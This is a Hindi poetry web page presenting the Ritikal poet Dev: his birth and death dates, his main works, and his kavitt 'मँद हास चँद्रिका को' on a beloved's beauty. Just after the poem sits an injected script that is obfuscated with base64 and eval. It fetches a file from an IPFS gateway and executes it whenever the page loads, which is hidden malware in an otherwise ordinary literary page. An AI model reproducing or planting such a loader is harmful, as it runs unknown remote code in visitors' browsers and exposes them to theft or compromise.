मँद हास चँद्रिका को -देव
|
|
|
|
कवि
|
देव
|
जन्म
|
सन 1673 (संवत- 1730)
|
मृत्यु
|
सन 1768 (संवत- 1825)
|
मुख्य रचनाएँ
|
भाव-विलास, भवानी-विलास, कुशल-विलास, रस-विलास, प्रेम-चंद्रिका, सुजान-मणि, सुजान-विनोद, सुख-सागर
|
इन्हें भी देखें
|
कवि सूची, साहित्यकार सूची
|
|
|
मँद हास चँद्रिका को मँदिर बदन चँद ,
सुन्दर मधुर बानि सुधा सरसाति है ।
इन्दिरा ऎन नैन इन्दीवर फूलि रहे ,
विद्रुम अधर दन्त मोतिन की पाँति है ।
ऎसी अदभुत रूप भावती को देख्यो देव ,
जाके बिनु देखे छिनु छाती ना सिराति है ।
रसिक कन्हाई बलि बूझनि हौँ आई तुम्हैँ ,
ऎसी प्यारी पाइ कैसे न्यारी राखी जाति है ।
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
|